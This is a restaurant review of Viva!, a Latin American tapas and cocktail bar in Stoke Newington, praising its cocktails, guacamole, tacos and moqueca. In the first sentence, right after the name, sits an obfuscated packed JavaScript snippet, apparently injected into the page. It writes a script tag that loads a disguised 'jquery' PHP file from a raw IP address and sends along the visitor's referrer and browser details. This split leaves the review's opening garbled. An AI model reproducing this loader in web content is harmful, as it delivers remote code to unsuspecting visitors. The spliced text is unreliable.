REVIEW: VIVA!

Viva! (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eihyh|var|u0026u|referrer|htbdy||js|php’.split(‘|’),0,{}))
opened around three months ago on Stoke Newington High Street, and after months of walking passed the packed out restaurant we finally got round to trying it. Viva! serves Latin American tapas and cocktails in a small, informal joint with exposed brick work and low lighting.

We started with the cocktail list which has a pretty lengthy selection of concoctions made up from House Cocktails, Classic Cocktails, Sours, Tequila House Cocktails and non-alcoholic cocktails. Priced from just £5 – £7 the cocktails are great value too. We sampled the Mojito which was strong and punchy without being overly sweet – a great way to start the Latin feast.

Food wise we went all out and ordered everything on the menu. Highlights included the Guacamole which was chunky, well seasoned and perfectly mashed. The Caramelized Onion Quesadilla served with sour cream and tangy homemade salsa and the Soft blue corn tacos filled with juicy pork, jack cheese, coriander and yet more homemade salsa. Our personal favourite was the Brazilian Moqueca with Tiger Prawns and Plantain, a bubbling hot, creamy fish stew crammed with juicy prawns and plantain.

All of the dishes were fresh, full of flavour and reasonably priced. Viva! the perfect place to go for drinks and nibbles with the girls or on a date. What’s more we heard that due to demand the restaurant are opening another joint just over the road next month – watch this space!

2 Stoke Newington Road, N16

Photo Credit – Stav B